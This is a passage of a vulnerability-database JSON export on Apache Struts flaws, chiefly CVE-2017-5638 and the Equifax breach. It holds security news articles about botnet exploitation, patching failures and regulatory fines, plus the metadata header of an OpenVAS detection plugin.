"https://threatpost.com/equifax-says-145-5m-affected-by-breach-ex-ceo-testifies/128247/", "cvss": {"score": 10.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}, {"lastseen": "2019-05-30T05:51:10", "description": "Researchers have discovered new variants for the infamous Mirai and Gafgyt IoT botnets \u2013 now targeting well-known vulnerabilities in Apache Struts and SonicWall.\n\nThe new Mirai strain targets the Apache Struts flaw associated with the 2017 Equifax breach, while the Gafgyt variant uses a newly-disclosed glitch impacting older, unsupported versions of SonicWall\u2019s Global Management System, according to researchers with Palo Alto Networks in a [Sunday ](<https://researchcenter.paloaltonetworks.com/2018/09/unit42-multi-exploit-iotlinux-botnets-mirai-gafgyt-target-apache-struts-sonicwall/>)post.\n\n\u201cHere we\u2019re seeing Mirai and Gafgyt variants targeting systems mostly seen in enterprises,\u201d Ruchna Nigam, researcher with Palo Alto Networks, told Threatpost. \u201cUltimately, future trends are open to speculation, but we know that targeting enterprise links offers bigger bandwidth from a DDoS perspective. For now, it looks that the attackers may be doing a test run on the efficacy of using different vulnerabilities, with the intention of spotting ones that herd the maximum number of bots, affording them greater firepower for a DDoS.\u201d\n\n**Mirai Evolves**\n\nResearchers said that they discovered samples of a Mirai variant on Sept. 7 incorporating exploits that targeted 16 separate vulnerabilities.\n\nThe variant notably exploits the critical arbitrary command-execution flaw in Apache Struts ([CVE-2017-5638](<https://threatpost.com/patch-released-for-critical-apache-struts-bug/127809/>)) that was patched in March 2017. This marks the first known instance of Mirai targeting a vulnerability in Apache Struts, researchers said. Attackers could use specially crafted content-type, content-disposition or content-length HTTP headers to launch an arbitrary command-execution attack.\n\nThough a patch has been available for over a year now, many consumers may not have updated their systems \u2013 an issue that led to the already-patched [vulnerability](<https://threatpost.com/equifax-confirms-march-struts-vulnerability-behind-breach/127975/>) being responsible for the Equifax breach last summer that impacted 147 million consumers.\n\nFlaws in Apache Struts have been actively exploited in the wild in other recent campaigns; these include a large cryptomining campaign using the recently disclosed Apache Struts 2 critical remote code-execution (CVE-2018-11776) [vulnerability](<https://threatpost.com/active-campaign-exploits-critical-apache-struts-2-flaw-in-the-wild/137207/>), which was patched in August.\n\nThe other 15 vulnerabilities targeted by the newest Mirai strain have been incorporated into the botnet in the past, including a Linksys remote code-execution flaw in Linksys E-Series devices, a Vacron NVR remote code-execution glitch, a remote code-execution issue in D-Link devices, remote code-execution vulnerabilities in CCTVs and DVRs from up to 70 vendors, and a flaw (CVE-2017-6884) in Zyxel routers.\n\nUnit 42 also found that the domain currently hosting these Mirai samples previously resolved to a different IP address during the month of August \u2014 an IP address hosting a new version of Gafgyt as well.\n\n**Gafgyt Adds to Bag of Tricks**\n\nIn August, the observed IP was \u201cintermittently hosting samples of Gafgyt that incorporated an exploit against CVE-2018-9866, a SonicWall vulnerability affecting older versions of SonicWall Global Management System (GMS),\u201d according to Nigam.\n\nThe targeted vulnerability ([CVE-2018-9866](<https://nvd.nist.gov/vuln/detail/CVE-2018-9866>)) exists in the lack of validation of user-supplied parameters pass to XML-RPC calls on SonicWall Global Management System (GMS) virtual appliances, allowing remote users to execute arbitrary code.\n\nThis vulnerability affects older, unsupported GMS versions, including 8.1 and earlier (the flaw is not present in supported versions). A Metasploit module was first [published](<https://www.exploit-db.com/exploits/45124/>) earlier this summer for the flaw; SonicWall then published a [public advisory](<https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2018-0007>) about the critical issue July 17.\n\nSonicWall has been notified of this latest development with Gafgyt, researchers said.\n\n\u201cThe vulnerability disclosed in this post is not an announcement of a new vulnerability in SonicWall GMS,\u201d a SonicWall spokesperson told Threatpost. \u201cThe issue referenced only affects an older version of the GMS software (version 8.1) which was replaced by version 8.2 in December 2016. Customers and partners running GMS version 8.2 and above are protected against this vulnerability. Customers still using GMS version 8.1 should apply a hotfix supplied by SonicWall in August 2018 and plan for an immediate upgrade, as GMS 8.1 went out of support in February 2018.\u201d\n\nThe Gafgyt botnet exploits a range of IoT flaws, including other issues in Huawei, GPON and D-Link devices.\n\nOnce in, it then fetches an update from <HTTP_SERVER>, saves it to <FILE_LOCATION>, and installs the update. After that, the botnet launches a Blacknurse DDoS attack, an attack that involves ICMP Type 3 Code 3 packets causing high CPU loads first discovered in November 2016.\n\n\u201cOne thing that stood out was the Gafgyt variant having support for the BlackNurse DDoS attack method,\u201d Ruchna told us. \u201cThe earliest samples I have seen supporting this DDoS method are from September 2017.\u201d\n\n**Continued Development**\n\nThe discovery of new targeted vuln comes after it was revealed in July that Mirai and Gafgyt were actively launching two IoT/Linux botnet [campaigns](<https://threatpost.com/d-link-dasan-routers-under-attack-in-yet-another-assault/134255/>), exploiting the [CVE-2018-10562 and CVE-2018-10561 bugs in Dasan routers](<https://threatpost.com/millions-of-home-fiber-routers-vulnerable-to-complete-takeover/131593/>).\n\nIn October 2016, the world was introduced to Mirai when it [overwhelmed servers](<https://threatpost.com/dyn-ddos-could-have-topped-1-tbps/121609/>) at global domain provider Dynamic Network Services (Dyn); that led to the blockage of more than 1,200 websites, including Netflix and Twitter. The Mirai source code was then released in Oct. 2016, with Mirai variants continuing to pop up left and right since then.\n\nMost recently, in April, a variant of the Mirai [botnet](<https://threatpost.com/mirai-variant-targets-financial-sector-with-iot-ddos-attacks/131056/>) was used to launch a series of DDoS campaigns against financial sector businesses, while in January, researchers identified a variant called [Satori (Mirai Okiru)](<https://threatpost.com/satori-author-linked-to-new-mirai-variant-masuta/129640/>).\n", "cvss3": {}, "published": "2018-09-10T14:23:09", "type": "threatpost", "title": "Mirai, Gafgyt Botnets Return to Target Infamous Apache Struts, SonicWall Flaws", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2017-5638", "CVE-2017-6884", "CVE-2018-10561", "CVE-2018-10562", "CVE-2018-11776", "CVE-2018-9866"], "modified": "2018-09-10T14:23:09", "id": "THREATPOST:FC5665486C9D63E5C0C242F47F66ACF1", "href": "https://threatpost.com/mirai-gafgyt-botnets-return-to-target-infamous-apache-struts-sonicwall-flaws/137309/", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}], "openvas": [{"lastseen": "2020-05-08T10:31:11", "description": "This host is running Apache Struts and is prone to a remote code execution\nvulnerability.", "cvss3": {}, "published": "2018-08-27T00:00:00", "type": "openvas", "title": "Apache Struts2 Remote Code Execution Vulnerability (S2-057) (Active Check)", "bulletinFamily": "scanner", "cvss2": {}, "cvelist": ["CVE-2017-5638", "CVE-2018-11776"], "modified": "2020-05-05T00:00:00", "id": "OPENVAS:1361412562310141398", "href": "http://plugins.openvas.org/nasl.php?oid=1361412562310141398", "sourceData": "##############################################################################\n# OpenVAS Vulnerability Test\n#\n# Apache Struts2 Remote Code Execution Vulnerability (S2-057) (Active Check)\n#\n# Authors:\n# Christian Kuersteiner <christian.kuersteiner@greenbone.net>\n#\n# Copyright:\n# Copyright (C) 2018 Greenbone Networks GmbH\n#\n# This program is free software; you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation; either version 2 of the License, or\n# (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n###############################################################################\n\nif (description)\n{\n script_oid(\"1.3.6.1.4.1.25623.1.0.141398\");\n script_version(\"2020-05-05T10:19:36+0000\");\n script_tag(name:\"last_modification\", value:\"2020-05-05 10:19:36 +0000 (Tue, 05 May 2020)\");\n script_tag(name:\"creation_date\", value:\"2018-08-27 13:07:39 +0700 (Mon, 27 Aug 2018)\");\n script_tag(name:\"cvss_base\", value:\"10.0\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:N/AC:L/Au:N/C:C/I:C/A:C\");\n\n script_cve_id(\"CVE-2017-5638\");\n\n script_tag(name:\"qod_type\", value:\"exploit\");\n\n script_tag(name:\"solution_type\", value:\"VendorFix\");\n\n script_name(\"Apache Struts2 Remote Code Execution Vulnerability (S2-057) (Active Check)\");\n\n script_category(ACT_ATTACK);\n\n script_copyright(\"Copyright (C) 2018 Greenbone Networks GmbH\");\n script_family(\"Web application abuses\");\n script_dependencies(\"find_service.nasl\", \"httpver.nasl\", \"webmirror.nasl\", \"DDI_Directory_Scanner.nasl\", \"os_detection.nasl\");\n script_require_ports(\"Services/www\", 80);\n script_mandatory_keys(\"www/action_jsp_do\");\n\n script_tag(name:\"vuldetect\", value:\"Try to execute a command by sending a special crafted HTTP GET request.\");\n\n script_tag(name:\"summary\", value:\"This host is running Apache Struts and is prone to a remote code execution\nvulnerability.\");\n\n script_tag(name:\"insight\", value:\"The flaw exists due to errors in conditions when namespace value isn't set for\na result defined in underlying configurations and in same time, its upper action(s) configurations have no or\nwildcard namespace. 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{"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}], "thn": [{"lastseen": "2018-01-27T09:17:55", "description": "[![equifax-apache-struts](https://3.bp.blogspot.com/-F7ViQ9JXvL8/Wbo_3TiAKWI/AAAAAAAAAJM/fsHVxS_O8ysIy4sZ2wdnG1OfLkiNJTjzgCLcBGAs/s1600/equifax-apache-struts.png)](<https://3.bp.blogspot.com/-F7ViQ9JXvL8/Wbo_3TiAKWI/AAAAAAAAAJM/fsHVxS_O8ysIy4sZ2wdnG1OfLkiNJTjzgCLcBGAs/s1600/equifax-apache-struts.png>)\n\nThe [massive Equifax data breach](<https://thehackernews.com/2017/09/equifax-data-breach.html>) that exposed highly sensitive data of as many as 143 million people was caused by [exploiting a flaw in Apache Struts](<https://thehackernews.com/2017/03/apache-struts-framework.html>) framework, which Apache patched over two months earlier of the security incident, Equifax has confirmed. \n \nCredit rating agency Equifax is yet another example of the companies that became victims of massive cyber attacks due to not patching a critical vulnerability on time, for which patches were already issued by the respected companies. \n \nRated critical with a maximum 10.0 score, the Apache Struts2 vulnerability (CVE-2017-5638) exploited in the Equifax breach was disclosed and fixed by Apache on March 6 with the release of Apache Struts version 2.3.32 or 2.5.10.1. \n \nThis flaw is separate from CVE-2017-9805, [another Apache Struts2 vulnerability](<https://thehackernews.com/2017/09/apache-struts-vulnerability.html>) that was patched earlier this month, which was a programming bug that manifests due to the way Struts REST plugin handles XML payloads while deserializing them, and was fixed in Struts version 2.5.13. \n \nRight after the disclosure of the vulnerability, hackers started actively exploiting the flaw in the wild to install rogue applications on affected web servers after its [proof-of-concept (PoC) exploit code](<https://thehackernews.com/2017/03/apache-struts-framework.html>) was uploaded to a Chinese site. \n \nDespite patches were made available and proofs that the flaw was already under mass attack by hackers, Equifax failed to patched its Web applications against the flaw, which resulted in the breach of personal data of [nearly half of the US population](<https://thehackernews.com/2017/09/equifax-credit-report-hack.html>). \n\n\n> \"Equifax has been intensely investigating the scope of the intrusion with the assistance of a leading, independent cyber security firm to determine what information was accessed and who have been impacted,\" the company officials wrote in an [update on the website](<https://www.equifaxsecurity2017.com/>) with a new \"A Progress Update for Consumers.\" \n\n> \"We [know that](<https://www.equifaxsecurity2017.com/2017/09/13/progress-update-consumers-4/>) criminals exploited a US website application vulnerability. The vulnerability was Apache Struts CVE-2017-5638. We continue to work with law enforcement as part of our criminal investigation, and have shared indicators of compromise with law enforcement.\"\n\nCVE-2017-5638 was a then-zero-day vulnerability discovered in the [popular Apache Struts](<https://thehackernews.com/2017/09/apache-struts-flaws-cisco.html>) web application framework by Cisco's Threat intelligence firm Talos, which observed a number of active attacks exploiting the flaw. \n \nThe issue was a remote code execution bug in the Jakarta Multipart parser of Apache Struts2 that could allow an attacker to execute malicious commands on the server when uploading files based on the parser. \n \nAt the time, Apache warned it was possible to perform a remote code execution attack with \"a malicious Content-Type value,\" and if this value is not valid \"an exception is thrown which is then used to display an error message to a user.\" \n \n**Also Read: **[Steps You Should Follow to Protect Yourself From Equifax Breach](<https://thehackernews.com/2017/09/equifax-data-breach.html>) \n \nFor those unaware, Apache Struts is a free, open-source MVC framework for developing web applications in the Java programming language that run both front-end and back-end Web servers. The framework is used by 65n per cent of the Fortune 100 companies, including Lockheed Martin, Vodafone, Virgin Atlantic, and the IRS. \n \nSince the hackers are actively exploiting the vulnerabilities in the Apache Struts web framework, Cisco has also [initiated an investigation](<https://thehackernews.com/2017/09/apache-struts-flaws-cisco.html>) into its products against four newly discovered security vulnerabilities in Apache Struts2. \n \nOther companies that also incorporate a version of Apache Struts 2 should also check their infrastructures against these vulnerabilities. \n \nEquifax is currently offering free credit-monitoring and identity theft protection services for people who are affected by the massive data leak and has also enabled a security freeze for access to people's information. \n \nWhile the company was initially criticised for generating a PIN that was simply a time and date stamp and easy-to-guess, the PIN generation method was later changed to randomly generate numbers.\n", "cvss3": {}, "published": "2017-09-13T21:38:00", "type": "thn", "title": "Equifax Suffered Data Breach After It Failed to Patch Old Apache Struts Flaw", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2017-5638", "CVE-2017-9805"], "modified": "2017-09-15T10:00:54", "id": "THN:6C0E5E35ABB362C8EA341381B3DD76D6", "href": "https://thehackernews.com/2017/09/equifax-apache-struts.html", "cvss": {"score": 10.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}, {"lastseen": "2018-01-27T09:17:16", "description": "[![New Apache Struts Zero-Day Vulnerability Being Exploited in the Wild](https://4.bp.blogspot.com/-YbGPFiDfo54/WMFEMrkhUUI/AAAAAAAArt0/axO9fhieprw6xBp0DoBNdECPB4t_le8uwCLcB/s1600/apache-struts-framework.png)](<https://4.bp.blogspot.com/-YbGPFiDfo54/WMFEMrkhUUI/AAAAAAAArt0/axO9fhieprw6xBp0DoBNdECPB4t_le8uwCLcB/s1600/apache-struts-framework.png>)\n\nSecurity researchers have discovered a Zero-Day vulnerability in the popular Apache Struts web application framework, which is being actively exploited in the wild. \n \nApache Struts is a free, open-source, Model-View-Controller (MVC) framework for creating elegant, modern Java web applications, which supports REST, AJAX, and JSON. \n \nIn a [blog post](<http://blog.talosintelligence.com/2017/03/apache-0-day-exploited.html>) published Monday, Cisco's Threat intelligence firm Talos announced the team observed a number of active attacks against the zero-day vulnerability (CVE-2017-5638) in Apache Struts. \n \nAccording to the researchers, the issue is a remote code execution vulnerability in the Jakarta Multipart parser of Apache Struts that could allow an attacker to execute malicious commands on the server when uploading files based on the parser. \n\n\n> \"It is possible to perform an RCE attack with a malicious Content-Type value,\" [warned](<https://cwiki.apache.org/confluence/display/WW/S2-045>) Apache. \"If the Content-Type value isn't valid an exception is thrown which is then used to display an error message to a user.\"\n\nThe vulnerability, documented at Rapid7's Metasploit Framework [GitHub site](<https://github.com/rapid7/metasploit-framework/issues/8064>), has been patched by Apache. So, if you are using the Jakarta-based file upload Multipart parser under Apache Struts 2, you are advised to upgrade to Apache Struts version 2.3.32 or 2.5.10.1 immediately. \n \n\n\n### Exploit Code Publicly Released\n\n \nSince the Talos researchers detected public proof-of-concept (PoC) exploit code (which was uploaded to a Chinese site), the vulnerability is quite dangerous. \n \nThe researchers even detected \"a high number of exploitation events,\" the majority of which seem to be leveraging the publicly released PoC that is being used to run various malicious commands. \n\n\n[![apache-exploit-code](https://2.bp.blogspot.com/-OMaYI0kDfZk/WME-W6XvmwI/AAAAAAAArtc/4rw52IxHjJYLJOlufdQEoxxQwjYWAbGmQCLcB/s1600/apache-exploit-code.png)](<https://2.bp.blogspot.com/-OMaYI0kDfZk/WME-W6XvmwI/AAAAAAAArtc/4rw52IxHjJYLJOlufdQEoxxQwjYWAbGmQCLcB/s1600/apache-exploit-code.png>)\n\nIn some cases, the attackers executed simple \"whoami\" commands to see if the target system is vulnerable, while in others, the malicious attacks turned off firewall processes on the target and dropped payloads. \n\n\n[![apache-exploit](https://2.bp.blogspot.com/-1fS7Z-ZsPgA/WME-E_vWvTI/AAAAAAAArtY/k_8FmAtSwaU9ICPEjN1gQMTdPHsQSRyFACLcB/s1600/apache-exploit.png)](<https://2.bp.blogspot.com/-1fS7Z-ZsPgA/WME-E_vWvTI/AAAAAAAArtY/k_8FmAtSwaU9ICPEjN1gQMTdPHsQSRyFACLcB/s1600/apache-exploit.png>)\n\n \n\n\n> \"Final steps include downloading a malicious payload from a web server and execution of said payload,\" the researchers say. \"The payloads have varied but include an IRC bouncer, a DoS bot, and a sample related to the Bill Gates botnet... A payload is downloaded and executed from a privileged account.\"\n\nAttackers also attempted to gain persistence on infected hosts by adding a binary to the boot-up routine. \n \nAccording to the researchers, the attackers tried to copy the file to a benign directory and ensure_ \"that both the executable runs and that the firewall service will be disabled when the system boots.\"_ \n \nBoth Cisco and Apache researchers urge administrators to upgrade their systems to Apache Struts version 2.3.32 or 2.5.10.1 as soon as possible. Admins can also switch to a different [implementation](<https://cwiki.apache.org/confluence/display/WW/File+Upload#FileUpload-AlternateLibraries>) of the Multipart parser.\n", "cvss3": {}, "published": "2017-03-09T01:03:00", "type": "thn", "title": "New Apache Struts Zero-Day Vulnerability Being Exploited in the Wild", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2017-5638"], "modified": "2017-03-09T12:03:10", "id": "THN:2707247140A4F620671B33D68FEB1EA9", "href": "https://thehackernews.com/2017/03/apache-struts-framework.html", "cvss": {"score": 10.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}, {"lastseen": "2022-05-09T12:40:51", "description": "[![consumer credit reporting Equifax data breach](https://thehackernews.com/images/-1V4miBZKvxA/W6OU7pQw5sI/AAAAAAAAyLM/GdXx9FNEs_UiDXCnBFucDDfdR_AGIzUkwCLcBGAs/s728-e100/equifax-data-breach.jpg)](<https://thehackernews.com/images/-1V4miBZKvxA/W6OU7pQw5sI/AAAAAAAAyLM/GdXx9FNEs_UiDXCnBFucDDfdR_AGIzUkwCLcBGAs/s728-e100/equifax-data-breach.jpg>)\n\nAtlanta-based consumer credit reporting agency Equifax has been issued a \u00a3500,000 fine by the UK's privacy watchdog for its last year's [massive data breach](<https://thehackernews.com/2017/09/equifax-credit-report-hack.html>) that exposed personal and financial data of hundreds of millions of its customers. \n \nYes, \u00a3500,000\u2014that's the maximum fine allowed by the UK's Data Protection Act 1998, though the penalty is apparently a small figure for a $16 billion company. \n \nIn July this year, the UK's data protection watchdog issued the maximum allowed fine of [\u00a3500,000 on Facebook](<https://thehackernews.com/2018/07/facebook-cambridge-analytica.html>) over the [Cambridge Analytica scandal](<https://thehackernews.com/2018/03/facebook-cambridge-analytica.html>), saying the social media giant Facebook failed to prevent its citizens' data from falling into the wrong hands. \n \n\n\n## Flashback: The Equifax Data Breach 2017\n\n \nEquifax suffered a massive data breach last year between mid-May and the end of July, exposing highly [sensitive data of as many as 145 million people](<https://thehackernews.com/2017/10/equifax-credit-security-breach.html>) globally. \n \nThe stolen information included victims' names, dates of birth, phone numbers, driver's license details, addresses, and social security numbers, along with credit card information and personally identifying information (PII) for hundreds of thousands of its consumers. \n \nThe data breach occurred because the company failed to patch a [critical Apache Struts 2 vulnerability](<https://thehackernews.com/2017/09/equifax-apache-struts.html>) ([CVE-2017-5638](<https://thehackernews.com/2017/03/apache-struts-framework.html>)) on time, for which patches were already issued by the respected companies. \n \n\n\n## Why U.K. Has Fined a US Company?\n\n \nThe UK's Information Commissioner's Office (ICO), who launched a joint investigation into the breach with the Financial Conduct Authority, has now [issued](<https://ico.org.uk/about-the-ico/news-and-events/news-and-blogs/2018/09/credit-reference-agency-equifax-fined-for-security-breach/>) its largest possible monetary penalty under the country's Data Protection Act for the massive data breach\u2014\u00a3500,000, which equals to around $665,000. \n \nThe ICO said that although the [cyber attack compromised Equifax](<https://thehackernews.com/2017/09/equifax-data-breach.html>) systems in the United States, the company \"failed to take appropriate steps\" to protect the personal information of its 15 million UK customers. \n \nThe ICO investigation revealed \"multiple failures\" at the company like keeping users' personal information longer than necessary, which resulted in: \n\n\n * 19,993 UK customers had their names, dates of birth, telephone numbers and driving license numbers exposed.\n * 637,430 UK customers had their names, dates of birth and telephone numbers exposed.\n * Up to 15 million UK customers had names and dates of birth exposed.\n * Some 27,000 Britishers also had their Equifax account email addresses swiped.\n * 15,000 UK customers also had their names, dates of birth, addresses, account usernames and plaintext passwords, account recovery secret questions, and answers, obscured credit card numbers, and spending amounts stolen by hackers.\n \n\n\n## Breach Was Result of Multiple Failures at Equifax\n\n \nThe ICO said that Equifax had also been warned about a [critical Apache Struts 2 vulnerability](<https://thehackernews.com/2017/03/apache-struts-framework.html>) in its systems by the United States Department of Homeland Security (DHS) in March 2017, but the company did not take appropriate steps to fix the issue. \n \nInitially, it was also reported that the company kept news of the [breach hidden for a month](<https://thehackernews.com/2017/09/equifax-credit-report-hack.html>) after its internal discovery, giving three senior executives at Equifax time to sell almost $2 million worth of its shares, though the company denied such claims. \n \nSince the data breach happened before the EU's General Data Protection Regulation (GDPR) took effect in May 2018, the maximum fine of \u00a3500,000 imposed under the UK's old Data Protection Act 1998 is still lesser. \n \nThe penalty could have been much larger had it fallen under GDPR, wherein a company could face a [maximum fine of 20 million euros](<https://thehackernews.com/2017/08/data-breach-security-law.html>) or 4 percent of its annual global revenue, whichever is higher, for such a privacy breach. \n \nIn response to the ICO's penalty, Equifax said that the company has fully cooperated with the ICO throughout the investigation that it is \"disappointed in the findings and the penalty.\" \n \nEquifax received the Monetary Penalty Notice from the ICO on Wednesday and can appeal the penalty.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.0", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2018-09-20T13:54:00", "type": "thn", "title": "UK Regulator Fines Equifax \u00a3500,000 Over 2017 Data Breach", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2017-5638"], "modified": "2018-09-20T13:54:52", "id": "THN:AF93AEDBDE6169AD1163D53979A4EA04", "href": "https://thehackernews.com/2018/09/equifax-credit-reporting-breach.html", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2018-01-27T10:06:56", "description": "[![apache-struts-vulnerability](https://3.bp.blogspot.com/-FaVOI33zhVo/Wa7tX3RO_oI/AAAAAAAAuSA/pvKz2qxYH9weyv9C_HBcEOR5P901cjkngCLcBGAs/s1600/apache-struts-vulnerability.png)](<https://3.bp.blogspot.com/-FaVOI33zhVo/Wa7tX3RO_oI/AAAAAAAAuSA/pvKz2qxYH9weyv9C_HBcEOR5P901cjkngCLcBGAs/s1600/apache-struts-vulnerability.png>)\n\nSecurity researchers have [discovered](<https://lgtm.com/blog/apache_struts_CVE-2017-9805_announcement>) a critical remote code execution vulnerability in the popular Apache Struts web application framework, allowing a remote attacker to run malicious code on the affected servers. \n \nApache Struts is a free, open-source, Model-View-Controller (MVC) framework for developing web applications in the Java programming language, which supports REST, AJAX, and JSON. \n \nThe vulnerability (CVE-2017-9805) is a programming blunder that resides in the way Struts processes data from an untrusted source. Specifically, Struts REST plugin fails to handle XML payloads while deserializing them properly. \n \nAll versions of Apache Struts since 2008 (Struts 2.1.2 - Struts 2.3.33, Struts 2.5 - Struts 2.5.12) are affected, leaving all web applications using the framework\u2019s REST plugin vulnerable to remote attackers. \n \nAccording to one of the security researchers at LGTM, who [discovered](<https://lgtm.com/blog/apache_struts_CVE-2017-9805>) this flaw, the Struts framework is being used by \"an incredibly large number and variety of organisations,\" including Lockheed Martin, Vodafone, Virgin Atlantic, and the IRS. \n \n\"On top of that, [the vulnerability] is incredibly easy for an attacker to exploit this weakness: all you need is a web browser,\" Man Yue Mo, an LGTM security researcher said. \n \nAll an attacker needs is to submit a malicious XML code in a particular format to trigger the vulnerability on the targeted server. \n \nSuccessful exploitation of the vulnerability could allow an attacker to take full control of the affected server, eventually letting the attacker infiltrate into other systems on the same network. \n \nMo said this flaw is an unsafe deserialization in Java similar to a vulnerability in Apache Commons Collections, [discovered](<https://frohoff.github.io/appseccali-marshalling-pickles/>) by Chris Frohoff and Gabriel Lawrence in 2015 that also allowed arbitrary code execution. \n \nMany Java applications have since been affected by multiple similar vulnerabilities in recent years. \n \nSince this vulnerability has been patched in [Struts version 2.5.13](<https://struts.apache.org/docs/s2-052.html>), administrators are strongly advised to upgrade their Apache Struts installation as soon as possible. \n \nMore technical details about the vulnerability and proof-of-concept have not been published by the researchers yet, giving admins enough time to upgrade their systems.\n", "cvss3": {}, "published": "2017-09-05T07:40:00", "type": "thn", "title": "Critical Flaw in Apache Struts2 Lets Hackers Take Over Web Servers", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2017-9805"], "modified": "2017-09-06T10:53:09", "id": "THN:460709FF530ED7F35B5817A55F1BF2C6", "href": "https://thehackernews.com/2017/09/apache-struts-vulnerability.html", "cvss": {"score": 6.8, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}}, {"lastseen": "2018-01-27T10:06:55", "description": "[![apache-struts-flaws-cisco](https://3.bp.blogspot.com/-_apYSKyOUKo/Wbe7DDGoMfI/AAAAAAAAC0o/yPE-wNpS2n83-GU6fD28_WevBKtwhDX1gCLcBGAs/s1600/apache-struts-cisco.jpg)](<https://3.bp.blogspot.com/-_apYSKyOUKo/Wbe7DDGoMfI/AAAAAAAAC0o/yPE-wNpS2n83-GU6fD28_WevBKtwhDX1gCLcBGAs/s1600/apache-struts-cisco.jpg>)\n\nAfter [Equifax massive data breach](<https://thehackernews.com/2017/09/equifax-credit-report-hack.html>) that was believed to be caused due to [a vulnerability in Apache Struts](<https://thehackernews.com/2017/03/apache-struts-framework.html>), Cisco has initiated an investigation into its products that incorporate a version of the popular Apache Struts2 web application framework. \n \nApache Struts is a free, open-source MVC framework for developing web applications in the Java programming language, and used by 65 percent of the Fortune 100 companies, including Lockheed Martin, Vodafone, Virgin Atlantic, and the IRS. \n \nHowever, the popular open-source software package was recently found affected by multiple vulnerabilities, including two remote code execution vulnerabilities\u2014one discovered earlier this month, and another in March\u2014one of which is [believed to be used](<https://blogs.apache.org/foundation/entry/apache-struts-statement-on-equifax>) to breach personal data of over [143 million Equifax users](<https://thehackernews.com/2017/09/equifax-data-breach.html>). \n \nSome of Cisco products including its Digital Media Manager, MXE 3500 Series Media Experience Engines, Network Performance Analysis, Hosted Collaboration Solution for Contact Center, and Unified Contact Center Enterprise have been found vulnerable to multiple Apache Struts flaws. \n \n\n\n### Cisco Launches Apache Struts Vulnerability Hunting\n\n \nCisco is also testing rest of its products against four newly discovered security vulnerability in Apache Struts2, including the one (CVE-2017-9805) [we reported on September 5](<https://thehackernews.com/2017/09/apache-struts-vulnerability.html>) and the remaining three also disclosed last week. \n \nHowever, the remote code execution bug (CVE-2017-5638) that was [actively exploited back in March](<https://thehackernews.com/2017/03/apache-struts-framework.html>) this year is not included by the company in its recent security audit. \n \nThe three vulnerabilities\u2014CVE-2017-9793, CVE-2017-9804 and CVE-2017-9805\u2014included in the [Cisco security audit](<https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20170907-struts2>) was released by the Apache Software Foundation on 5th September with the release of Apache Struts 2.5.13 which patched the issues. \n \nThe fourth vulnerability (CVE-2017-12611) that is being [investigated by Cisco](<https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20170909-struts2-rce>) was released on 7th September with the release of Apache Struts 2.3.34 that fixed the flaw that resided in the Freemarker tag functionality of the Apache Struts2 package and could allow an unauthenticated, remote attacker to execute malicious code on an affected system. \n \n\n\n### Apache Struts Flaw Actively Exploited to Hack Servers & Deliver Malware\n\n \nComing on to the most severe of all, CVE-2017-9805 (assigned as critical) is a programming bug that manifests due to the way Struts REST plugin handles XML payloads while deserializing them. \n \nThis could allow a remote, unauthenticated attacker to achieve remote code execution on a host running a vulnerable version of Apache Struts2, and Cisco's Threat intelligence firm Talos has [observed](<http://blog.talosintelligence.com/2017/09/apache-struts-being-exploited.html>) that this flaw is [under active exploitation](<https://thehackernews.com/2017/09/apache-struts-vulnerability.html>) to find vulnerable servers. \n \nSecurity researchers from data centre security vendor Imperva recently [detected](<https://www.imperva.com/blog/2017/09/cve-2017-9805-analysis-of-apache-struts-rce-vulnerability-in-rest-plugin/>) and blocked thousands of attacks attempting to exploit this Apache Struts2 vulnerability (CVE-2017-9805), with roughly 80 percent of them tried to deliver a malicious payload. \n \nThe majority of attacks originated from China with a single Chinese IP address registered to a Chinese e-commerce company sending out more than 40% of all the requests. Attacks also came from Australia, the U.S., Brazil, Canada, Russia and various parts of Europe. \n \nOut of the two remaining flaws, one (CVE-2017-9793) is again a vulnerability in the REST plug-in for Apache Struts that manifests due to \"insufficient validation of user-supplied input by the XStream library in the REST plug-in for the affected application.\" \n \nThis flaw has been given a Medium severity 